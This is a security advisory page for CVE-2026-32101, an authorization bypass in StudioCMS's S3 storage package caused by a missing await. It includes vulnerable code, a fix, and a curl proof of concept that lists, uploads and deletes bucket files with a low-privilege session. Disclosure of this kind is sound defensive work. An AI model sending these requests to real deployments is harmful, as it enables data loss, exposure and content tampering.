GHSA-MM78-FGQ8-6PGR

Vulnerability from github – Published: 2026-03-12 14:49 – Updated: 2026-03-12 14:49
VLAI?
Summary
StudioCMS S3 Storage Manager Authorization Bypass via Missing `await` on Async Auth Check
Details

Summary

The S3 storage manager's isAuthorized() function is declared async (returns Promise<boolean>) but is called without await in both the POST and PUT handlers. Since a Promise object is always truthy in JavaScript, !isAuthorized(type) always evaluates to false, completely bypassing the authorization check. Any authenticated user with the lowest visitor role can upload, delete, rename, and list all files in the S3 bucket.

Details

The isAuthorized function is typed as returning Promise<boolean> in packages/studiocms/src/handlers/storage-manager/definitions.ts:88:

export type ParsedContext = {
    getJson: () => Promise<ContextJsonBody>;
    getArrayBuffer: () => Promise<ArrayBuffer>;
    getHeader: (name: string) => string | null;
    isAuthorized: (type?: AuthorizationType) => Promise<boolean>;  // async
};

Both context drivers implement it as asyncpackages/studiocms/src/handlers/storage-manager/core/effectify-astro-context.ts:32:

isAuthorized: async (type) => {
    switch (type) {
        case 'headers': {
            // ... token verification ...
            const isEditor = level >= UserPermissionLevel.editor;
            if (!isEditor) return false;
            return true;
        }
        default: {
            const isEditor = locals.StudioCMS.security?.userPermissionLevel.isEditor || false;
            return isEditor;
        }
    }
},

But in the S3 storage manager, it's called without awaitpackages/@studiocms/s3-storage/src/s3-storage-manager.ts:200:

if (authRequiredActions.includes(jsonBody.action) && !isAuthorized(type)) {
    return { data: { error: 'Unauthorized' }, status: 401 };
}

And again at line 372 (PUT handler):

if (!isAuthorized(type)) {
    return { data: { error: 'Unauthorized' }, status: 401 };
}

isAuthorized(type) returns a Promise object. !Promise{...} is always false because a Promise is truthy. The 401 response is never returned.

Execution flow: 1. Visitor-role user sends POST to /studiocms_api/integrations/storage/manager 2. AstroLocalsMiddleware verifies session exists — passes (visitor is logged in) 3. Handler calls !isAuthorized('locals') → evaluates !Promise{...} = false 4. Authorization check is skipped entirely 5. Visitor performs the requested storage operation

PoC

# 1. Log in as a visitor-role user and obtain session cookie

# 2. List all files in S3 bucket (should require editor+)
curl -X POST 'http://localhost:4321/studiocms_api/integrations/storage/manager' \
  -H 'Cookie: studiocms-session=<visitor-session-token>' \
  -H 'Content-Type: application/json' \
  -d '{"action":"list","prefix":""}'

# Expected: 401 Unauthorized
# Actual: 200 with full bucket listing

# 3. Upload a file as visitor (should require editor+)
curl -X PUT 'http://localhost:4321/studiocms_api/integrations/storage/manager' \
  -H 'Cookie: studiocms-session=<visitor-session-token>' \
  -H 'Content-Type: application/octet-stream' \
  -H 'x-storage-key: malicious/payload.html' \
  --data-binary '<h1>Uploaded by visitor</h1>'

# Expected: 401 Unauthorized
# Actual: 200 File uploaded

# 4. Delete a file as visitor (should require editor+)
curl -X POST 'http://localhost:4321/studiocms_api/integrations/storage/manager' \
  -H 'Cookie: studiocms-session=<visitor-session-token>' \
  -H 'Content-Type: application/json' \
  -d '{"action":"delete","key":"important/document.pdf"}'

# Expected: 401 Unauthorized
# Actual: 200 File deleted

Impact

  • Any authenticated visitor gains full S3 storage management (upload, delete, rename, list) — capabilities restricted to editor role and above
  • Attacker can delete arbitrary files from the S3 bucket, causing data loss
  • Attacker can list all files and generate presigned download URLs, exposing all stored content
  • Attacker can upload arbitrary files or rename existing ones, replacing legitimate content with malicious payloads

Recommended Fix

Add await to both isAuthorized() calls in packages/@studiocms/s3-storage/src/s3-storage-manager.ts:

// POST handler (line 200) — before:
if (authRequiredActions.includes(jsonBody.action) && !isAuthorized(type)) {

// After:
if (authRequiredActions.includes(jsonBody.action) && !(await isAuthorized(type))) {

// PUT handler (line 372) — before:
if (!isAuthorized(type)) {

// After:
if (!(await isAuthorized(type))) {
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.3.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@studiocms/s3-storage"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32101"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-12T14:49:30Z",
    "nvd_published_at": "2026-03-11T21:16:16Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe S3 storage manager\u0027s `isAuthorized()` function is declared `async` (returns `Promise\u003cboolean\u003e`) but is called without `await` in both the POST and PUT handlers. Since a Promise object is always truthy in JavaScript, `!isAuthorized(type)` always evaluates to `false`, completely bypassing the authorization check. Any authenticated user with the lowest `visitor` role can upload, delete, rename, and list all files in the S3 bucket.\n\n## Details\n\nThe `isAuthorized` function is typed as returning `Promise\u003cboolean\u003e` in `packages/studiocms/src/handlers/storage-manager/definitions.ts:88`:\n\n```typescript\nexport type ParsedContext = {\n    getJson: () =\u003e Promise\u003cContextJsonBody\u003e;\n    getArrayBuffer: () =\u003e Promise\u003cArrayBuffer\u003e;\n    getHeader: (name: string) =\u003e string | null;\n    isAuthorized: (type?: AuthorizationType) =\u003e Promise\u003cboolean\u003e;  // async\n};\n```\n\nBoth context drivers implement it as `async` \u2014 `packages/studiocms/src/handlers/storage-manager/core/effectify-astro-context.ts:32`:\n\n```typescript\nisAuthorized: async (type) =\u003e {\n    switch (type) {\n        case \u0027headers\u0027: {\n            // ... token verification ...\n            const isEditor = level \u003e= UserPermissionLevel.editor;\n            if (!isEditor) return false;\n            return true;\n        }\n        default: {\n            const isEditor = locals.StudioCMS.security?.userPermissionLevel.isEditor || false;\n            return isEditor;\n        }\n    }\n},\n```\n\nBut in the S3 storage manager, it\u0027s called without `await` \u2014 `packages/@studiocms/s3-storage/src/s3-storage-manager.ts:200`:\n\n```typescript\nif (authRequiredActions.includes(jsonBody.action) \u0026\u0026 !isAuthorized(type)) {\n    return { data: { error: \u0027Unauthorized\u0027 }, status: 401 };\n}\n```\n\nAnd again at line 372 (PUT handler):\n\n```typescript\nif (!isAuthorized(type)) {\n    return { data: { error: \u0027Unauthorized\u0027 }, status: 401 };\n}\n```\n\n`isAuthorized(type)` returns a `Promise` object. `!Promise{...}` is always `false` because a Promise is truthy. The 401 response is never returned.\n\n**Execution flow:**\n1. Visitor-role user sends POST to `/studiocms_api/integrations/storage/manager`\n2. `AstroLocalsMiddleware` verifies session exists \u2014 passes (visitor is logged in)\n3. Handler calls `!isAuthorized(\u0027locals\u0027)` \u2192 evaluates `!Promise{...}` = `false`\n4. Authorization check is skipped entirely\n5. Visitor performs the requested storage operation\n\n## PoC\n\n```bash\n# 1. Log in as a visitor-role user and obtain session cookie\n\n# 2. List all files in S3 bucket (should require editor+)\ncurl -X POST \u0027http://localhost:4321/studiocms_api/integrations/storage/manager\u0027 \\\n  -H \u0027Cookie: studiocms-session=\u003cvisitor-session-token\u003e\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"action\":\"list\",\"prefix\":\"\"}\u0027\n\n# Expected: 401 Unauthorized\n# Actual: 200 with full bucket listing\n\n# 3. Upload a file as visitor (should require editor+)\ncurl -X PUT \u0027http://localhost:4321/studiocms_api/integrations/storage/manager\u0027 \\\n  -H \u0027Cookie: studiocms-session=\u003cvisitor-session-token\u003e\u0027 \\\n  -H \u0027Content-Type: application/octet-stream\u0027 \\\n  -H \u0027x-storage-key: malicious/payload.html\u0027 \\\n  --data-binary \u0027\u003ch1\u003eUploaded by visitor\u003c/h1\u003e\u0027\n\n# Expected: 401 Unauthorized\n# Actual: 200 File uploaded\n\n# 4. Delete a file as visitor (should require editor+)\ncurl -X POST \u0027http://localhost:4321/studiocms_api/integrations/storage/manager\u0027 \\\n  -H \u0027Cookie: studiocms-session=\u003cvisitor-session-token\u003e\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"action\":\"delete\",\"key\":\"important/document.pdf\"}\u0027\n\n# Expected: 401 Unauthorized\n# Actual: 200 File deleted\n```\n\n## Impact\n\n- Any authenticated visitor gains full S3 storage management (upload, delete, rename, list) \u2014 capabilities restricted to editor role and above\n- Attacker can delete arbitrary files from the S3 bucket, causing data loss\n- Attacker can list all files and generate presigned download URLs, exposing all stored content\n- Attacker can upload arbitrary files or rename existing ones, replacing legitimate content with malicious payloads\n\n## Recommended Fix\n\nAdd `await` to both `isAuthorized()` calls in `packages/@studiocms/s3-storage/src/s3-storage-manager.ts`:\n\n```typescript\n// POST handler (line 200) \u2014 before:\nif (authRequiredActions.includes(jsonBody.action) \u0026\u0026 !isAuthorized(type)) {\n\n// After:\nif (authRequiredActions.includes(jsonBody.action) \u0026\u0026 !(await isAuthorized(type))) {\n\n// PUT handler (line 372) \u2014 before:\nif (!isAuthorized(type)) {\n\n// After:\nif (!(await isAuthorized(type))) {\n```",
  "id": "GHSA-mm78-fgq8-6pgr",
  "modified": "2026-03-12T14:49:30Z",
  "published": "2026-03-12T14:49:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/withstudiocms/studiocms/security/advisories/GHSA-mm78-fgq8-6pgr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32101"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/withstudiocms/studiocms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "StudioCMS S3 Storage Manager Authorization Bypass via Missing `await` on Async Auth Check"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…